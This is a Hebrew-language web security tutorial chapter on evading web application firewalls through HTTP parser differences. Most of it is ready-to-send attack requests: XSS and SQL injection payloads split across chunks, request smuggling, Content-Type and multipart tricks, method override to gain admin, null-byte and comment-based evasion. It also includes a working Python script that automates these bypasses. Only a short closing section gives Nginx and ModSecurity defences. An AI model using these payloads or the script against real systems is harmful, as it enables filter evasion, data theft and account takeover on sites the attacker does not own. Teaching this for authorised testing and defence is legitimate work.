הbypass ברמת פרוטוקול - Protocol-level WAF Bypass¶
הרעיון המרכזי¶
ה-WAF חייב לפרסר את בקשת ה-HTTP כדי לבדוק אותה. אם נשלח בקשה בצורה שה-WAF מפרסר באופן שונה מהשרת, נוכל להחביא את הpayload הזדוני. הפער בין פרסרים (parser differential) הוא הבסיס לכל הטכניקות בפרק זה.
הbypass באמצעות Chunked Transfer Encoding¶
כיצד Chunked Encoding עובד¶
ב-HTTP/1.1, במקום לציין Content-Length, אפשר לשלוח את הגוף בחתיכות (chunks). כל חתיכה מתחילה בגודלה בהקסדצימלי:
המבנה: גודל בהקס, שורה חדשה, נתונים, שורה חדשה, ואז 0 לסיום.
פיצול payload בין chunks¶
POST /search HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
3
q=<
3
scr
3
ipt
9
>alert(1
b
)</script>
0
ה-WAF רואה כל chunk בנפרד ולא מרכיב את התמונה המלאה. השרת מרכיב את כל ה-chunks ומקבל: q=<script>alert(1)</script>
פיצול payload SQLi¶
POST /api/data HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
5
id=1'
7
UNION
7
SELECT
8
password
b
FROM user
3
s--
0
השרת מרכיב: id=1' UNION SELECT password FROM users--
טריק Transfer-Encoding מורכב¶
חלק מה-WAFs לא מטפלים נכון בווריאציות של header Transfer-Encoding:
# Space before the value
Transfer-Encoding: chunked
# Tab before the value
Transfer-Encoding: chunked
# Uppercase letters
Transfer-Encoding: Chunked
# Duplicate header
Transfer-Encoding: chunked
Transfer-Encoding: identity
# With a fake parameter
Transfer-Encoding: chunked; q=0.5
# New line (line folding, deprecated)
Transfer-Encoding:
chunked
CL.TE ו-TE.CL Smuggling¶
כאשר גם Content-Length וגם Transfer-Encoding נשלחים, נוצר פער:
# CL.TE: WAF uses Content-Length, server uses Transfer-Encoding
POST /search HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
q=<script>alert(1)</script>
ה-WAF קורא 6 בתים (0\r\n\r\nq) וחושב שזה הגוף. השרת רואה chunk באורך 0 (סוף), ואז מתחיל לפרסר את הבקשה הבאה שמתחילה ב-q=<script>....
אי-התאמת Content-Type¶
JSON בגוף עם Content-Type שגוי¶
POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
{"username":"admin","password":"' OR 1=1--"}
ה-WAF מפרסר כ-form-urlencoded: מפתח = {"username":"admin","password":"' OR 1=1--"}, ערך = ריק. הוא לא מזהה את ה-SQLi בתוך ה-JSON.
השרת (אם מקבל JSON בכל מקרה) מפרסר כ-JSON ומקבל את ה-SQLi.
Content-Type: multipart/form-data¶
POST /search HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
------WebKitFormBoundary--
חלק מה-WAFs לא בודקים guf של multipart כמו שהם בודקים form-urlencoded.
החלפה מ-form-urlencoded ל-multipart¶
# Original request (blocked)
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
q=<script>alert(1)</script>
# The same request as multipart (may pass)
POST /search HTTP/1.1
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
--X--
מניפולציית Multipart Boundary¶
Boundary מורכב¶
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----AAAA----BBBB----CCCC----DDDD----EEEE
------AAAA----BBBB----CCCC----DDDD----EEEE
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
<script>alert(1)</script>
------AAAA----BBBB----CCCC----DDDD----EEEE--
Boundary עם תווים מיוחדים¶
# Different letter case in the boundary
Content-Type: multipart/form-data; boundary=AaAaAa
# boundary with quotes
Content-Type: multipart/form-data; boundary="----boundary----"
# Very long boundary (some WAFs truncate it)
Content-Type: multipart/form-data; boundary=AAAAAA....(200 characters)....AAAAAA
כפל boundaries¶
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=first; boundary=second
--second
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
--second--
ה-WAF עשוי להשתמש ב-boundary הראשון (first) ולא למצוא חלקים. השרת עשוי להשתמש באחרון (second) ולפרסר את הpayload.
דריסת שיטת HTTP - Method Override¶
הheader X-HTTP-Method-Override¶
# WAF checks only GET requests, not POST
# Sending POST with an override to GET
POST /search?q=<script>alert(1)</script> HTTP/1.1
Host: target.com
X-HTTP-Method-Override: GET
Content-Length: 0
פרמטר _method¶
ב-frameworks כמו Rails ו-Laravel:
POST /admin/users/1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=DELETE&confirm=true
השרת מתייחס לבקשה כ-DELETE, אבל ה-WAF רואה POST.
# Override with _method in the URL
POST /admin/users/1?_method=PUT HTTP/1.1
Content-Type: application/x-www-form-urlencoded
role=admin
הheaders override נוספות¶
הbypasses ב-HTTP/2¶
מאפיינים ייחודיים של HTTP/2¶
פרוטוקול HTTP/2 הוא בינארי (לא טקסטואלי), ותומך ב-header compression (HPACK). חלק מה-WAFs ממירים HTTP/2 ל-HTTP/1.1 לפני בדיקה, ובהמרה נוצרים פערים.
# HTTP/2 allows only lowercase headers
# but some servers also accept uppercase
# HTTP/2 pseudo-headers
:method: POST
:path: /search?q=<script>alert(1)</script>
:authority: target.com
H2C Smuggling¶
# Upgrade to HTTP/2 cleartext
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
Connection: Upgrade, HTTP2-Settings
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
# WAF may not inspect traffic over h2c
הinjection של Null Byte¶
Null byte (%00) מסיים מחרוזות בשפות C-based. חלק מה-WAFs עוצרים לקרוא בנתקלם ב-null byte:
# WAF reads up to the null byte and sees only "q=safe"
GET /search?q=safe%00<script>alert(1)</script> HTTP/1.1
# In languages like PHP, the null byte doesn't always terminate the string
# so the server receives the entire value
# null byte in the path
GET /admin%00.html HTTP/1.1
# WAF sees a request to .html (allowed)
# An old server routes to /admin
# null byte in SQLi
GET /page?id=1'%00 UNION SELECT 1-- HTTP/1.1
# WAF sees id=1' (without the UNION)
# The SQL parser ignores the null byte
הערות SQL לbypass כללים מבוססי רווחים¶
הערות כתחליף רווח¶
-- WAF blocks "UNION SELECT" (with a space)
-- we'll use a comment instead of a space
UNION/**/SELECT
UNION/*anything here*/SELECT
UNION/*aaa*/SELECT/*bbb*/1
-- Full example
1'/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--
הערות מקוננות (MySQL)¶
-- MySQL supports nested comments with a special marker
/*!UNION*/ /*!SELECT*/ 1
/*!50000UNION*/ /*!50000SELECT*/ 1
-- /*!50000 ... */ executes only on MySQL version 5.00.00 and above
-- Full example
1'/*!50000UNION*//*!50000SELECT*/username,password/*!50000FROM*/users--
הערות בהקשרים שונים¶
<!-- HTML comments -->
<scr<!-- comment -->ipt>alert(1)</script>
<!-- Does the browser ignore the comment inside a tag? Depends on the browser -->
תחליפי רווח - Whitespace Alternatives¶
תווי רווח חלופיים ב-HTTP¶
# Space (0x20) - the standard one
# Tab (0x09) - accepted by most parsers
# Line feed (0x0a)
# Carriage return (0x0d)
# Form feed (0x0c)
# Vertical tab (0x0b)
תחליפי רווח ב-SQL¶
-- Tab instead of space
1'%09UNION%09SELECT%091--
-- Newline instead of space
1'%0aUNION%0aSELECT%0a1--
-- Carriage return + Line feed
1'%0d%0aUNION%0d%0aSELECT%0d%0a1--
-- Parentheses as a space substitute (MySQL)
1'UNION(SELECT(1))
-- Comments as space
1'UNION/**/SELECT/**/1
-- Combination
1'%09UNION/*%0a*/SELECT%0b1--
תחליפי רווח ב-XSS¶
<!-- Tab instead of space -->
<img%09src=x%09onerror=alert(1)>
<!-- slash as separator -->
<svg/onload=alert(1)>
<!-- Newline -->
<img%0asrc=x%0aonerror=alert(1)>
<!-- form feed -->
<img%0csrc=x%0conerror=alert(1)>
Line Folding - קיפול שורות¶
טכניקה ישנה שנשמרת בחלק מהשרתים (deprecated ב-HTTP/1.1):
POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-
Length: 100
Transfer-Encoding:
chunked
4
q=<s
6
cript>
8
alert(1)
9
</script>
0
הheader Content-Length מפוצלת לשתי שורות עם רווח בתחילת השורה השנייה. חלק מהפרסרים מכבדים line folding וחלק לא.
דוגמאות מלאות של בקשות HTTP¶
דוגמה 1 - Chunked + Encoding¶
POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
7
q=1%27%20
5
UNION
1
7
%20SELEC
6
T%201--
0
דוגמה 2 - Content-Type Mismatch + HPP¶
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
{"username":"admin","password":"admin","password":"' OR 1=1--"}
דוגמה 3 - Multipart + Null Byte¶
POST /search HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----bound
------bound
Content-Disposition: form-data; name="q"
safe%00<script>alert(1)</script>
------bound--
דוגמה 4 - Method Override + SQLi¶
POST /api/users?id=1'%20UNION%20SELECT%20password%20FROM%20users-- HTTP/1.1
Host: target.com
X-HTTP-Method-Override: GET
Content-Length: 0
סקריפט אוטומטי לbypass ברמת פרוטוקול¶
import socket
import ssl
def send_raw_request(host, port, request, use_ssl=False):
"""Send a raw HTTP request"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if use_ssl:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket(sock, server_hostname=host)
sock.connect((host, port))
sock.send(request.encode())
response = b""
while True:
data = sock.recv(4096)
if not data:
break
response += data
sock.close()
return response.decode(errors='replace')
def chunked_bypass(host, port, path, payload):
"""Send a payload split across chunks"""
# Split the payload into 3-byte chunks
chunks = [payload[i:i+3] for i in range(0, len(payload), 3)]
body = ""
for chunk in chunks:
body += f"{len(chunk):x}\r\n{chunk}\r\n"
body += "0\r\n\r\n"
request = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
f"{body}"
)
return send_raw_request(host, port, request)
def content_type_mismatch(host, port, path, json_payload):
"""Send JSON with an incorrect Content-Type"""
request = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(json_payload)}\r\n"
f"\r\n"
f"{json_payload}"
)
return send_raw_request(host, port, request)
# Usage
host = "target.com"
port = 80
# Bypass using chunked encoding
response = chunked_bypass(host, port, "/search", "q=<script>alert(1)</script>")
print(f"Chunked bypass: {response[:200]}")
# Bypass using content-type mismatch
response = content_type_mismatch(
host, port, "/api/login",
'{"username":"admin","password":"\' OR 1=1--"}'
)
print(f"Content-Type mismatch: {response[:200]}")
הגנה - פרסור HTTP קפדני¶
# Nginx - blocking suspicious transfer-encoding
# Reject requests with two encoding headers
if ($http_transfer_encoding ~* "chunked.*chunked") {
return 400;
}
# Reject requests with both CL and TE together
if ($http_content_length != "" ) {
set $cl_exists 1;
}
if ($http_transfer_encoding != "") {
set $te_exists 1;
}
# ModSecurity - protocol handling
# Reject chunked encoding together with content-length
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" \
"chain,id:1001,phase:1,deny"
SecRule REQUEST_HEADERS:Content-Length "!^$" \
"msg:'Both CL and TE headers present'"
# Reject method override
SecRule REQUEST_HEADERS:X-HTTP-Method-Override "!^$" \
"id:1002,phase:1,deny,\
msg:'Method override attempt'"
# Check content-type consistency
SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" \
"chain,id:1003,phase:2,deny"
SecRule REQUEST_BODY "^\s*\{" \
"msg:'JSON body with form content-type'"
עקרונות:
1. פרסור קפדני - לדחות בקשות לא סטנדרטיות
2. עקביות - וידוא ש-Content-Type תואם לגוף
3. חד-משמעיות - דחיית בקשות עם CL ו-TE ביחד
4. חסימת method overrides אם לא נדרשים
5. הגבלת גודל chunks ומספר chunks
סיכום¶
הbypasses ברמת פרוטוקול מנצלות את ההבדלים בין איך ה-WAF ואיך השרת מפרשים את בקשת ה-HTTP. Chunked encoding, Content-Type mismatch, multipart manipulation, method override, null bytes, והערות SQL - כולם כלים שמנצלים parser differentials. הטכניקות האלו עוצמתיות במיוחד בשילוב עם טכניקות encoding מהשיעורים הקודמים.